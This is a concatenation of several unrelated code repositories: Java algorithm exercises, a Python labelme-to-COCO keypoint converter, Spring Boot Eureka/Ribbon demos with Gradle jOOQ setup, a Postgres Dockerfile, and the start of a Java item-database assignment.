else if (e.getRestante() == 1)
System.out.printf("Y faltaría %d € \n", resto(e));
}
private int resto(Estado e)
{
int i;
int contador = 0;
for(i = 0; i < monedas.size(); i++)
{
contador += monedas.get(i)*e.getMonedas()[i];
}
return e.getRestante()-contador;
}
private void lectura() throws InterruptedException
{
System.out.println("Seleccione la cantidad a cambiar:");
dinero = integerController();
}
@SuppressWarnings("resource")
private static int integerController() throws InterruptedException
{
Scanner sc = new Scanner(System.in);
while(!sc.hasNextInt())
{
System.err.println("Inserte un numero.");
TimeUnit.SECONDS.sleep(1);
System.out.println("Inténtelo otra vez:");
sc.next();
}
int n = sc.nextInt();
return n;
}
/*
private void backward(Estado actual)
{
int i;
if(actual.getRestante() == 0 || !esPosible(actual.getRestante()))
{
sol.put(actual.getRestante(), actual);
}
else
{
for(i = 0 ; i <= monedas.size()-1; i++)
{
if(actual.getRestante()-monedas.get(i) >= 0)
{
ArrayList<Integer> m = new ArrayList<Integer>(actual.getMonedas());
m.set(i, actual.getMonedas().get(i)+1);
Estado nuevo = new Estado(actual.getRestante()-monedas.get(i), m);
nuevo.setUsadas(calcularUsadas(m));
if(sol.containsKey(actual.getRestante()-monedas.get(i)))
{
if(sol.get(nuevo.getRestante()).getUsadas() > nuevo.getUsadas())
{
sol.put(nuevo.getRestante(), nuevo);
System.out.println(sol);
backward(sol.get(nuevo.getRestante()));
}
}
else
{
sol.put(nuevo.getRestante(), nuevo);
System.out.println(sol);
backward(sol.get(nuevo.getRestante()));
}
}
}
}
}*/
private ArrayList<Integer> ceroMonedas()
{
int i;
ArrayList<Integer> list = new ArrayList<>();
for(i = 0; i < monedas.size(); i++)
list.add(0);
return list;
}
private Hashtable<Integer, Integer> matriz(Estado[][] ruta) {
Hashtable<Integer, Integer> solution = new Hashtable<Integer, Integer>();
/*
for(int i = 0; i < monedas.size(); i++) {
solution.put(monedas.get(i), 0);
}
for (int columna = 0; columna < ruta[0].length - 1; columna++) {
for(int fila = 1; fila < ruta.length - 1; fila++) {
System.out.print(ruta[fila][columna] + " ");
//int ultimaFila = 0;
//if(ruta[fila][columna] == 1) {
//int monedaUsada = fila - ultimaFila;
//solution.replace(monedaUsada, solution.get(monedaUsada) + 1);
//}
}
}*/
return solution;
}
/*public void forward()
{
int i, j, k;
ArrayList<Integer> list = new ArrayList<Integer>();
for(i = 0; i < monedas.size(); i++)
for(j = 0; j < )
for(k = 0; k < )
list();
}*/
}
<file_sep>/Algorithms/src/Main.java
import Combinatorio.Combinatorio;
import Devolucion.Devolucion;
import Probabilista.*;
import Probabilista.Cono;
import java.util.Scanner;
import BusquedaTexto.*;
public class Main {
public static Scanner sc = new Scanner(System.in);
public static void main(String [] args)
{
try {
int option = 0;
do {
System.out.println("Cual es la practica que queremos probar?: ");
System.out.println("1.- Combinatorio.");
System.out.println("2.- Devolucion.");
System.out.println("3.- Probabilista.");
System.out.println("4.- Busqueda de patrones.");
System.out.print("-->");
option = sc.nextInt();
}while(option < 1 || option > 4);
switch(option) {
case 1:
Combinatorio combo = new Combinatorio();
break;
case 2:
Devolucion devol = new Devolucion();
break;
case 3:
Probabilista proba = new Probabilista();
break;
case 4:
BusquedaTexto busqu = new BusquedaTexto();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
<file_sep>/Algorithms/src/Combinatorio/Combinatorio.java
package Combinatorio;
import java.time.Duration;
import java.time.Instant;
import java.util.Scanner;
import java.util.Stack;
import java.util.concurrent.TimeUnit;
public class Combinatorio {
public Combinatorio() throws InterruptedException
{
menu();
}
private void menu() throws InterruptedException{
long t1,t2;
int[] valores = pedirValores();
System.out.printf("\nTiempos de los algoritmos para:"
+ "\n\tn = %d\tk = %d\n", valores[0], valores[1]);
imprimir(iterativo(valores[0], valores[1]), "Iterativo");
imprimir(recursivo(valores[0], valores[1]),"Recursivo");
imprimir(recursivoDosPilas(valores[0], valores[1]), "Recursivo (2 pilas)");
imprimir(recursivoTresPilas(valores[0], valores[1]), "Recursivo (3 pilas)");
imprimir(recursivoCuatroPilas(valores[0], valores[1]), "Recursivo (4 pilas)");
}
private void imprimir(int x, String s)
{
Instant start = Instant.now();
System.out.printf("\nAlgoritmo %s:\nResultado: %d\n", s, x);
long time = Duration.between(start, Instant.now()).toMillis();
System.out.println("Time: "+time+" ms");
}
private void imprimir(double x, String s)
{
Instant start = Instant.now();
System.out.printf("\nAlgoritmo %s:\nResultado: %.0f\n", s, x);
long time = Duration.between(start, Instant.now()).toMillis();
System.out.println("Time: "+time+" ms");
}
private int[] pedirValores() throws InterruptedException
{
int [] valores = new int[2];
System.out.println("Introduce valor para la n:");
valores[0] = integerController();
System.out.println("Introduce valor para la k:");
valores[1] = integerController();
return valores;
}
private double iterativo(int n, int k)
{
return factorial(n)/(factorial(k) * factorial(n-k));
}
private double factorial(int n)
{
double valor = 1;
while(n > 0)
{
valor *= n;
n--;
}
return valor;
}
private int recursivo(int n, int k)
{
if(k == 0 || k == n)
return 1;
if(k > n)
return 0;
return recursivo(n-1, k-1)+recursivo(n-1,k);
}
private int recursivoDosPilas(double n, double k){
double nArg = 0;
double kArg = 0;
int resultado = 0;
Stack<Double> nStack = new Stack<Double>();
Stack<Double> kStack = new Stack<Double>();
nStack.push(n);
kStack.push(k);
while(!nStack.isEmpty() || !kStack.isEmpty()){
nArg = nStack.pop();
kArg = kStack.pop();
if(kArg == 0 || kArg == nArg){
resultado += 1;
}
else if(nArg < kArg){
resultado += 0;
}
else{
nStack.push(nArg - 1);
kStack.push(kArg);
nStack.push(nArg - 1);
kStack.push(kArg - 1);
}
}
return resultado;
}
private int recursivoTresPilas(int x, int y)
{
Stack<Integer> nStack = new Stack<Integer>();
Stack<Integer> kStack = new Stack<Integer>();
Stack<Integer> rStack = new Stack<Integer>();
int n;
int k;
int r = 0;
nStack.push(x);
kStack.push(y);
while(!nStack.isEmpty() && !kStack.isEmpty())
{
if(kStack.peek() == nStack.peek() || kStack.peek() == 0)
{
kStack.pop();
nStack.pop();
rStack.push(1);
}
else if(kStack.peek() > nStack.peek())
{
kStack.pop();
nStack.pop();
rStack.push(0);
}
else
{
n = nStack.pop();
k = kStack.pop();
nStack.push(n-1);
kStack.push(k-1);
nStack.push(n-1);
kStack.push(k);
}
}
while(!rStack.isEmpty())
{
r += rStack.pop();
}
if(r == 0) System.out.println("n no puede ser menor que k.");
return r;
}
private int recursivoCuatroPilas(int n, int k)
{
Stack<Integer> pilaN = new Stack<Integer>();
Stack<Integer> pilaK = new Stack<Integer>();
Stack<Integer> pilaResult = new Stack<Integer>();
Stack<Integer> pilaLlamada = new Stack<Integer>();
int sol = 0;
pilaN.push(n);
pilaK.push(k);
pilaLlamada.push(1);
pilaResult.push(0);
while(!pilaN.empty())
{
while((pilaK.peek() != 0 && pilaK.peek() != pilaN.peek()) && pilaLlamada.peek() <= 2)
{
switch(pilaLlamada.peek())
{
case 1:
pilaN.push(pilaN.peek()-1);
pilaK.push(pilaK.peek()-1);
break;
case 2:
pilaN.push(pilaN.peek()-1);
pilaK.push(pilaK.peek());
break;
}
pilaLlamada.push(1);
if(pilaN.peek() == pilaK.peek() || pilaK.peek() == 0) {
pilaResult.push(1);
}else
pilaResult.push(0);
}
pilaN.pop(); pilaK.pop();
pilaLlamada.pop();
sol = pilaResult.pop();
if(!pilaN.empty())
{
pilaLlamada.push(pilaLlamada.pop()+1);
pilaResult.push(pilaResult.pop()+sol);
}
}
return sol;
}
private static int integerController() throws InterruptedException
{
Scanner sc = new Scanner(System.in);
while(!sc.hasNextInt())
{
System.err.println("The options can only be integers.");
TimeUnit.SECONDS.sleep(1);
System.out.println("Try again:");
sc.next();
}
int n = sc.nextInt();
return n;
}
}
| 5063caf74668746886cb91100b96c73b9078c6c7 | [
"Java"
] | 7 | Java | sagzain/Algorithms | ea3e03a89bf8217b8a0d959c7f44493153b092c5 | aafce7cd0967f7c761cb2768a8e092af3dcaeae6 |
refs/heads/master | <repo_name>YOLOV12/labelme2coco-keypoints<file_sep>/README.md
# labelme2coco_keypoint
This tool is to convert all labelme keypoints file to one single coco keypoints file
the following is coco keypoint format
{
"info": info,
"licenses": [license],
"images": [image],
"annotations": [annotation],
"categories": [category]
}
-image{
"id": int,
"width": int,
"height": int,
"file_name": str,
}
-annotation{
"keypoints": [x1,y1,v1,...],
"num_keypoints": int,
"id": int,
"image_id": int,
"category_id": int,
"segmentation": RLE or [polygon],
"area": float,
"bbox": [x,y,width,height],
"iscrowd": 0 or 1,
}
-category{
"id": int,
"name": str,
"supercategory": str,
"keypoints": [str],
"skeleton": [edge]
}
notice this version only support v = 0(unlabeled) & v = 2 (can visable and labeled) for each keypoints
and you should label unlabeled point to (0, 0) in labelme

<file_sep>/labelme2coco.py
import os
import sys
import glob
import json
import shutil
import argparse
import numpy as np
from tqdm import tqdm
from labelme import utils
from sklearn.model_selection import train_test_split
class Labelme2coco():
def __init__(self, args):
self.classname_to_id = {args.class_name: 1}
self.images = []
self.annotations = []
self.categories = []
self.ann_id = 0
def save_coco_json(self, instance, save_path):
json.dump(instance, open(save_path, 'w', encoding='utf-8'), ensure_ascii=False, indent=1)
def read_jsonfile(self, path):
with open(path, "r", encoding='utf-8') as f:
return json.load(f)
def _get_box(self, points):
min_x = min_y = np.inf
max_x = max_y = 0
for x, y in points:
min_x = min(min_x, x)
min_y = min(min_y, y)
max_x = max(max_x, x)
max_y = max(max_y, y)
return [min_x, min_y, max_x - min_x, max_y - min_y]
def _get_keypoints(self, points, keypoints, num_keypoints):
if points[0] == 0 and points[1] == 0:
visable = 0
else:
visable = 2
num_keypoints += 1
keypoints.extend([points[0], points[1], visable])
return keypoints, num_keypoints
def _image(self, obj, path):
image = {}
img_x = utils.img_b64_to_arr(obj['imageData'])
image['height'], image['width'] = img_x.shape[:-1]
self.img_id = int(os.path.basename(path).split(".json")[0])
image['id'] = self.img_id
image['file_name'] = os.path.basename(path).replace(".json", ".jpg")
return image
def _annotation(self, bboxes_list, keypoints_list, json_path):
if len(keypoints_list) != args.join_num * len(bboxes_list):
print('you loss {} keypoint(s) with file {}'.format(args.join_num * len(bboxes_list) - len(keypoints_list), json_path))
print('Please check !!!')
sys.exit()
i = 0
for object in bboxes_list:
annotation = {}
keypoints = []
num_keypoints = 0
label = object['label']
bbox = object['points']
annotation['id'] = self.ann_id
annotation['image_id'] = self.img_id
annotation['category_id'] = int(self.classname_to_id[label])
annotation['iscrowd'] = 0
annotation['area'] = 1.0
annotation['segmentation'] = [np.asarray(bbox).flatten().tolist()]
annotation['bbox'] = self._get_box(bbox)
for keypoint in keypoints_list[i * args.join_num: (i + 1) * args.join_num]:
point = keypoint['points']
annotation['keypoints'], num_keypoints = self._get_keypoints(point[0], keypoints, num_keypoints)
annotation['num_keypoints'] = num_keypoints
i += 1
self.ann_id += 1
self.annotations.append(annotation)
def _init_categories(self):
for name, id in self.classname_to_id.items():
category = {}
category['supercategory'] = name
category['id'] = id
category['name'] = name
category['keypoint'] = ['left_top', 'right_top', 'right_bottom', 'left_bottom']
# category['keypoint'] = [str(i + 1) for i in range(args.join_num)]
self.categories.append(category)
def to_coco(self, json_path_list):
self._init_categories()
for json_path in tqdm(json_path_list):
obj = self.read_jsonfile(json_path)
self.images.append(self._image(obj, json_path))
shapes = obj['shapes']
bboxes_list, keypoints_list = [], []
for shape in shapes:
if shape['shape_type'] == 'rectangle':
bboxes_list.append(shape)
elif shape['shape_type'] == 'point':
keypoints_list.append(shape)
self._annotation(bboxes_list, keypoints_list, json_path)
keypoints = {}
keypoints['info'] = {'description': 'Monitor Dataset', 'version': 1.0, 'year': 2020}
keypoints['license'] = ['Acer']
keypoints['images'] = self.images
keypoints['annotations'] = self.annotations
keypoints['categories'] = self.categories
return keypoints
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("--class_name", "--n", help="class name", type=str, required=True)
parser.add_argument("--input", "--i", help="json file path (labelme)", type=str, required=True)
parser.add_argument("--output", "--o", help="output file path (coco format)", type=str, required=True)
parser.add_argument("--join_num", "--j", help="number of join", type=int, required=True)
parser.add_argument("--ratio", "--r", help="train and test split ratio", type=float, default=0.12)
args = parser.parse_args()
labelme_path = args.input
saved_coco_path = args.output
if not os.path.exists("%scoco/annotations/"%saved_coco_path):
os.makedirs("%scoco/annotations/"%saved_coco_path)
if not os.path.exists("%scoco/train/"%saved_coco_path):
os.makedirs("%scoco/train"%saved_coco_path)
if not os.path.exists("%scoco/val/"%saved_coco_path):
os.makedirs("%scoco/val"%saved_coco_path)
json_list_path = glob.glob(labelme_path + "/*.json")
train_path, val_path = train_test_split(json_list_path, test_size=args.ratio)
print('{} for training'.format(len(train_path)),
'\n{} for testing'.format(len(val_path)))
print('Start transform please wait ...')
l2c_train = Labelme2coco(args)
train_keypoints = l2c_train.to_coco(train_path)
l2c_train.save_coco_json(train_keypoints, '%scoco/annotations/keypoints_train.json' % saved_coco_path)
for file in train_path:
shutil.copy(file.replace("json", "jpg"), "%scoco/train/" % saved_coco_path)
for file in val_path:
shutil.copy(file.replace("json", "jpg"), "%scoco/val/" % saved_coco_path)
#
l2c_val = Labelme2coco(args)
val_instance = l2c_val.to_coco(val_path)
l2c_val.save_coco_json(val_instance, '%scoco/annotations/keypoints_val.json' % saved_coco_path)
| e0821616c8ad16455149e7223bea05990bf81670 | [
"Markdown",
"Python"
] | 2 | Markdown | YOLOV12/labelme2coco-keypoints | 92aaa0141ca50d9dffabe830c1505cfba2148a3b | 08e2bcb3528109b58be717c82dbfeb0ee74d592f |
refs/heads/master | <file_sep># Snake
<b>Класс Point:</b>
Класс с полями int x и int y, класс точек(координат, скорее)
<b>Класс Snake:</b>
Содержит в себе поле snake, представляющее собой лист точек. Метод movement реализует её передвижение путём переставления
последнего эллемента листа в начало. eatingFood добавляет в хвост змеи новый элемент и определяет его положение. snakeDie проверяет
столкновение со стеной. snakeEatItself сокращает длину змеи если та "перекусывает" сама себя.
<b>Класс Food:</b>
Содержит в себе Point coordinate и int value=1, которое показывает её цену. createFood создаёт еду в случайной точке, не пересекающейся
со змеёй и находящейся в пределах карты
<b>Тесты FoodTest и SnakeTest:</b>
FoodTest проверяет, чтобы еда никогда не создавалась вне карты и не пересекалась со змеёй.
SnakeTest проверяет правильное перемещение змеи, увеличение её длины при поедании еды, столкновение со стеной при координатах больше
её размера и при отрицательных координатах. Так же проверяет snakeEatItself
<b>Main:</b>
Написала эту штуку, чтобы иметь лучшее представление о происходящем. Генерирует карту 16х11 и выводит её на консоль в виде матрицы.
Голова змеи обозначена "H", её тело "0", еда обозначена "8"
<file_sep>import org.junit.jupiter.api.Test;
class SimpleTest {
@Test
void test() {
Point point = new Point(0,0);
assert(point.x==0);
assert(point.y==0);
Snake snake = new Snake();
assert(snake.snake.get(0).equals(new Point(1,0)));
assert(snake.snake.get(1).equals(new Point(0,0)));
}
}
<file_sep>import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
boolean flag = true;
Game game = new Game();
while (flag) {
Map<Point, String> blocks = createMap(game);
game.createField();
printMatrix(game, blocks);
game.moveSnake();
game.lastPoint = game.snake.getTail();
Point newPosition = game.snake.getHead();
ApplyResult applyResult = game.field.get(newPosition).tryApply(game);
if(!applyResult.isSuccess){
System.out.println("Game Over");
break;
}
game.field.put(newPosition, applyResult.replacement);
game.score = game.snake.getLength();
}
}
private static Map<Point, String> createMap(Game game) {
Map<Point, String> blocks = new HashMap<>();
for (int i = 0; i <= game.extremePoint.x; i++) {
for (int j = 0; j <= game.extremePoint.y; j++) {
blocks.put(new Point(i, j), ". ");
}
}
for (Point i : game.walls.obstacles) {
blocks.put(i, "X ");
}
blocks.put(game.snake.getHead(), "H ");
for (int i = 1; i < game.snake.getLength(); i++) {
blocks.put(game.snake.get(i), "0 ");
}
blocks.put(game.food.coordinate, "8 ");
return blocks;
}
private static void printMatrix(Game game, Map<Point, String> blocks) {
System.out.print("очки: ");
System.out.println(game.score);
System.out.print("где еда: ");
System.out.print(game.food.coordinate.x);
System.out.print(", ");
System.out.println(game.food.coordinate.y);
System.out.print("где голова: ");
System.out.print(game.snake.getHead().x);
System.out.print(", ");
System.out.println(game.snake.getHead().y);
for (int i = 0; i <= game.extremePoint.y; i++) {
for (int j = 0; j <= game.extremePoint.x; j++) {
System.out.print(blocks.get(new Point(j, game.extremePoint.y - i)));
}
System.out.print("\n");
}
}
}
<file_sep>import org.junit.jupiter.api.Test;
class FoodTest {
@Test
void Test() {
Point map = new Point(2,0);
Wall walls = new Wall(map);
Snake snake = new Snake();
Food food = Food.createFood(snake, map, walls);
assert(food.coordinate.equals(new Point(2,0)));
food = Food.createFood(snake, map, walls);
assert(food.coordinate.equals(new Point(2,0)));
food = Food.createFood(snake, map, walls);
assert(food.coordinate.equals(new Point(2,0)));
}
}<file_sep>
interface GameObject {
ApplyResult tryApply(Game game);
}<file_sep>import org.junit.jupiter.api.Test;
class SnakeTest {
@Test
void Test() {
Snake snake = new Snake();
snake.move(Direction.UP);
snake.move(Direction.RIGHT);
assert(snake.snake.get(0).equals(new Point(2,1)));
assert(snake.snake.get(1).equals(new Point(1,1)));
Point lastPoint = snake.snake.getLast();
snake.move(Direction.DOWN);
snake.grow(lastPoint);
assert(snake.snake.size() == 3);
assert(snake.snake.getLast().equals(new Point(1,1)));
Point map = new Point(3,3);
snake = new Snake();
snake.move(Direction.RIGHT);
snake.move(Direction.RIGHT);
snake.move(Direction.RIGHT);
assert(snake.checkSnakeColide(new Wall(map)));
snake = new Snake();
snake.move(Direction.LEFT);
snake.move(Direction.LEFT);
assert(snake.checkSnakeColide(new Wall(map)));
}
}<file_sep>public class Direction {
public final static Point UP = new Point(0, 1);
public final static Point DOWN = new Point(0, -1);
public final static Point RIGHT = new Point(1, 0);
public final static Point LEFT = new Point(-1, 0);
}
<file_sep>public class Food implements GameObject {
public Point coordinate;
public final int value = 1;
public ApplyResult tryApply(Game game){
game.snake.grow(game.lastPoint);
game.food = Food.createFood(game.snake, game.extremePoint, game.walls);
return new ApplyResult(true, new Empty());
}
private Food(Point coordinate) {
this.coordinate = coordinate;
}
public Food() {
}
public static Food createFood(Snake snake, Point mapSize, Wall walls) {
while (true) {
Point point = Point.random(mapSize);
if (!snake.snake.contains(point) && !walls.borders.contains(point) && !walls.obstacles.contains(point)) {
return new Food(point);
}
}
}
}
| eac78085e2d5c90a00b0e4e992c3169a047aeb84 | [
"Markdown",
"Java"
] | 8 | Markdown | Levatein/Snake | 4485d0753dfa9be198257239be9ca5042dd0ba9f | 53a5c361f5b613ae44102898ed7044f472e54885 |
refs/heads/master | <repo_name>tt-52101/Joystick-6<file_sep>/joystick.js
var canvasDOM = document.getElementById("joystick");
var width = canvasDOM.width;
var height = canvasDOM.height;
/*
width = window.screen.height;
height = window.screen.height;
*/
var canvas = canvasDOM.getContext("2d");
var direction = false;
var bigColor = "rgba(255, 255, 255, 0.17)";
var smallColor = "rgba(255, 255, 255, 0.3)";
var go = false;
var bigSize = 35;
var smallSize = 14;
function squared(num) {
return Math.pow(num, 2);
}
function toDeg (rad) {
return rad * 180 / Math.PI;
}
function solve(slope) {
num1 = squared(slope)+1;
num1 = squared((width/100)*bigSize) / num1;
return Math.sqrt(num1);
}
var circleX = 0;
var circleY = 0;
canvas.beginPath();
canvas.fillStyle = bigColor;
canvas.arc(width / 2, height / 2, width / 100 * bigSize, 0, 2 * Math.PI);
canvas.fill();
canvas.beginPath();
canvas.fillStyle = smallColor;
canvas.arc(width / 2, height / 2, width / 100 * smallSize, 0, 2 * Math.PI);
canvas.fill();
function clear() {
canvas.clearRect(0,0,width,height);
canvas.beginPath();
canvas.fillStyle = bigColor;
canvas.arc(width / 2, height / 2, width / 100 * bigSize, 0, 2 * Math.PI);
canvas.fill();
}
function move(e) {
if (go == true) {
let x = e.pageX - canvasDOM.offsetLeft;
let y = e.pageY - canvasDOM.offsetTop;
let slope = (y - height/2) / (x - width/2);
direction = toDeg(Math.atan(slope));
if (x > width/2 && y > width/2) {
direction = 270 - direction;
} else if (x > width / 2 && y < height / 2) {
direction = 270 - direction;
} else if (x < width / 2 && y < height / 2) {
direction = 90 - direction;
} else if (x < width / 2 && y > height / 2) {
direction = 90 - direction;
} else if (y == height / 2) {
if (x > width/2) {
direction = 270;
} else {
direction = 90;
}
}
if (distance(width / 2, width / 2, x, y) <= width / 100 * bigSize) {
clear();
canvas.beginPath();
canvas.fillStyle = smallColor;
canvas.arc(x, y, width / 100 * smallSize, 0, 2 * Math.PI);
canvas.fill();
} else {
if (x == width/2) {
if (y>width/2) {
direction = 180;
clear();
canvas.beginPath();
canvas.fillStyle = smallColor;
canvas.arc(width/2, height/2+(width/100*bigSize), width / 100 * smallSize, 0, 2 * Math.PI);
canvas.fill();
} else {
direction = 0;
clear();
canvas.beginPath();
canvas.fillStyle = smallColor;
canvas.arc(width / 2, height / 2 - (width / 100 * bigSize), width / 100 * smallSize, 0, 2 * Math.PI);
canvas.fill();
}
} else {
let point = solve(slope);
let newX;
let newY;
if (x < width/2) {
newX = 0 - point;
newX = newX + width/2;
newY = 0 - point*slope;
newY = newY + height/2;
} else {
newX = point+width/2;
newY = point*slope+height/2;
}
clear();
canvas.beginPath();
canvas.fillStyle = smallColor;
canvas.arc(newX, newY, width / 100 * smallSize, 0, 2 * Math.PI);
canvas.fill();
}
}
direction = Math.round(direction);
console.log(direction);
}
}
function distance (x1,y1,x2,y2) {
let Xd = Math.abs(x1 - x2);
let Yd = Math.abs(y1 - y2);
return Math.sqrt(Math.pow(Xd, 2) + Math.pow(Yd, 2));
}
document.addEventListener("touchmove", move);
document.addEventListener("mousemove", move);
canvasDOM.addEventListener("touchstart", function(e) {
let x = e.pageX - canvasDOM.offsetLeft;
let y = e.pageY - canvasDOM.offsetTop;
if (x <= (width / 2) + (width / 100 * smallSize) && x >= (width / 2) - (width / 100 * smallSize) && y <= (width / 2) + (width / 100 * smallSize) && y >= (width / 2) - (width / 100 * smallSize)) {
go = true;
clear();
canvas.beginPath();
canvas.fillStyle = smallColor;
canvas.arc(x, y, width / 100 * smallSize, 0, 2 * Math.PI);
canvas.fill();
}
});
canvasDOM.addEventListener("mousedown", function (e) {
let x = e.pageX - canvasDOM.offsetLeft;
let y = e.pageY - canvasDOM.offsetTop;
if (x <= (width / 2) + (width / 100 * smallSize) && x >= (width / 2) - (width / 100 * smallSize) && y <= (width / 2) + (width / 100 * smallSize) && y >= (width / 2) - (width / 100 * smallSize)) {
go = true;
clear();
canvas.beginPath();
canvas.fillStyle = smallColor;
canvas.arc(x, y, width / 100 * smallSize, 0, 2 * Math.PI);
canvas.fill();
}
});
document.addEventListener("touchend", function() {
go = false;
clear();
canvas.beginPath();
canvas.fillStyle = smallColor;
canvas.arc(width / 2, height / 2, width / 100 * smallSize, 0, 2 * Math.PI);
canvas.fill();
direction = false;
});
document.addEventListener("mouseup", function () {
go = false;
clear();
canvas.beginPath();
canvas.fillStyle = smallColor;
canvas.arc(width / 2, height / 2, width / 100 * smallSize, 0, 2 * Math.PI);
canvas.fill();
direction = false;
});
var degree = document.getElementById("degree");
function run() {
degree.innerHTML = direction;
requestAnimationFrame(run);
}
requestAnimationFrame(run);
<file_sep>/README.md
# Joystick #
You can use this almost anywhere!
To use add this line to your HTML
```html
<canvas id="joystick" width=300 height=300></canvas>
```
But you can change the width and height to match what you want. They have to be the same!
Then add joystick.js to your rot or static file and it will work.
You can call on the variable `direction` to see the direction of the joystick in degrees.
Directly up is 0 and to the left is 90.
##### It also must be on a background with color or you have to change the color #####
#### To change the color change the lines: ####
```javascript
var bigColor = "rgba(255, 255, 255, 0.17)";
var smallColor = "rgba(255, 255, 255, 0.3)";
```
#### To whatever you want! ####
`bigColor` is the outer ring and `smallColor` is the inner ball. | 3b703c75f67c68ebe27f44d6c67cf72d8a302cfa | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | tt-52101/Joystick-6 | 4bfa78dc04a0dfb66fb30596e377f44d3679db13 | ae21b02d87cd71a75f7cdc946dab9ed5487ab333 |
refs/heads/master | <file_sep>buildscript {
ext {
springBootVersion = '1.4.2.RELEASE'
postgresqlVersion = '9.4.1212'
}
repositories {
mavenLocal()
mavenCentral()
jcenter()
}
dependencies {
classpath group: 'org.jooq', name: 'jooq-meta', version: '3.9.0'
classpath group: 'org.jooq', name: 'jooq-codegen', version: '3.9.0'
classpath 'org.jooq:jooq-codegen:3.9.0'
classpath("org.springframework.boot:spring-boot-gradle-plugin:${springBootVersion}")
classpath("org.postgresql:postgresql:9.4.1212")
}
}
apply plugin: 'java'
apply plugin: 'eclipse'
apply plugin: 'org.springframework.boot'
apply plugin: 'checkstyle'
jar {
baseName = 'demo'
version = '0.0.1-SNAPSHOT'
}
sourceCompatibility = 1.8
targetCompatibility = 1.8
repositories {
mavenCentral()
}
checkstyle{
configFile file("$rootDir/config/checkstyle/")
}
dependencies {
compile 'org.jooq:jooq:3.9.0'
compile group: 'org.jooq', name: 'jooq-meta', version: '3.9.0'
compile group: 'org.jooq', name: 'jooq-codegen', version: '3.9.0'
// compile('com.h2database:h2')
compile('org.springframework.boot:spring-boot-starter-data-rest')
compile('org.springframework.boot:spring-boot-starter-jooq')
compile('org.springframework.boot:spring-boot-starter-web')
compile("org.postgresql:postgresql:${postgresqlVersion}")
testCompile('org.springframework.boot:spring-boot-starter-test')
compile group: 'com.zaxxer', name: 'HikariCP', version: '2.5.1'
}
def writer = new StringWriter()
def xml = new groovy.xml.MarkupBuilder(writer)
.configuration('xmlns':'http://www.jooq.org/xsd/jooq-codegen-3.9.0.xsd'){
jdbc(){
driver('org.postgresql.Driver')
url('jdbc:postgresql://192.168.99.100:15432/example')
user('example')
password('<PASSWORD>')
}
generator(){
database(){
name "org.jooq.util.postgres.PostgresDatabase"
excludes "(pg_catalog.*|information_schema.*)"
}
generate([:]){
dao true
pojo true
}
target(){
packageName()
directory('./src/main/java/com/example/model')
}
}
}
task modelGenerate << {
org.jooq.util.GenerationTool.generate(
javax.xml.bind.JAXB.unmarshal(
new StringReader(writer.toString())
,org.jooq.util.jaxb.Configuration.class
)
)
}
<file_sep>package com.example.exampleeureka.repository;
import org.springframework.stereotype.Repository;
@Repository
public class SampleRepository {
public String getKey(String key){
return key.toUpperCase();
}
}
<file_sep>/*
* This build file was auto generated by running the Gradle 'init' task
* by 'earu' at '16/12/23 21:30' with Gradle 3.2.1
*
* This generated file contains a commented-out sample Java project to get you started.
* For more details take a look at the Java Quickstart chapter in the Gradle
* user guide available at https://docs.gradle.org/3.2.1/userguide/tutorial_java_projects.html
*/
<file_sep>
## build application
```
$ ./gradlew build
```
## boot application
execute command in terminal.
```
$ java -jar build/libs/springboot-eureka.jar --server.port=8780
```
execute command in another terminal.
```
$ java -jar build/libs/springboot-eureka.jar --server.port=8781
```
open browser.
http://localhost:8781/
http://localhost:8782/
<file_sep>
## build application
```
$ ./gradlew build
```
## boot application
execute command in terminal.
```
$ java -jar build/libs/springboot-eureka.jar --server.port=8080
```
execute command in another terminal.
```
$ java -jar build/libs/springboot-eureka.jar --server.port=8081
```
execute commond in another terminal.
The output of port number changes each time you execute command.
```
$ curl http://localhost:8080/api/ribbon
```
<file_sep>package com.example.exampleeureka.controller;
import com.example.exampleeureka.service.SampleService;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.netflix.ribbon.RibbonClient;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;
import java.util.Map;
@RestController
@RequestMapping("/api")
@RibbonClient(name = "example-eureka-client")
public class SampleController {
@Autowired
SampleService sampleService;
@Autowired
RestTemplate restTemplate;
@Value("${server.port}")
private String port;
@RequestMapping(value = "ribbon" , method = RequestMethod.GET)
public String ribbon(){
return this.restTemplate.getForObject("http://example-eureka-client/api/sample", String.class);
}
@RequestMapping(value = "sample",method = RequestMethod.GET)
public String index() throws JsonProcessingException {
Map<String, String> index = sampleService.index(String.valueOf(System.currentTimeMillis()), port);
ObjectMapper mapper = new ObjectMapper();
System.out.println(index);
return mapper.writeValueAsString(index);
}
}
<file_sep>FROM postgres:9.6.1-alpine
MAINTAINER KO-SASAKI
ENV PGDATA /var/lib/pgdata
USER postgres
RUN pg_ctl start && \
psql --command "create user example with superuser"
| e4955d37dde682086d49fdf46789c76c5af59e58 | [
"Markdown",
"Java",
"Dockerfile",
"Gradle"
] | 7 | Gradle | ko-sasaki/springboot-example | 7bdfad2a270a4f4aec76fd51605b29c9b60fcdcb | 49fd8c9f44ecc1e586c04708fdecf1d4d3061036 |
refs/heads/main | <file_sep>import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.util.ArrayList;
public class Database {
ArrayList<String> items = new ArrayList<String>();
ArrayList<Integer> prices = new ArrayList<Integer>();
public Database(){
BufferedReader br = null;
try {
br = new BufferedReader(new FileReader("src\\database.txt"));
String line = br.readLine();
int x;
while (line != null) {
items.add(line);
line = br.readLine();
x = Integer.parseInt(line);
prices.add(x);
line = br.readLine();
}
br.close();
}
catch(Exception e) {
System.out.println("No file for the Database found");
}
}
public int getPrice(String name){
int x = items.indexOf(name);
return prices.get(x);
}
}
<file_sep>Assignment 1
Designed by:
<NAME> (100743012)
<NAME> (100751888)
<NAME> (100751756)
<NAME> (100700318)
Table Of Contents
Java Files are contained within the src folder.
Driver code is contained within src/driver.
Draw.io link: https://drive.google.com/file/d/1EDH6ufQWqf1UN8VEbHtpATb8UswYjVjl/view

<file_sep>public class Main {
public static void main(String[] args){
AbstractItemFactory factory = new ItemFactory();
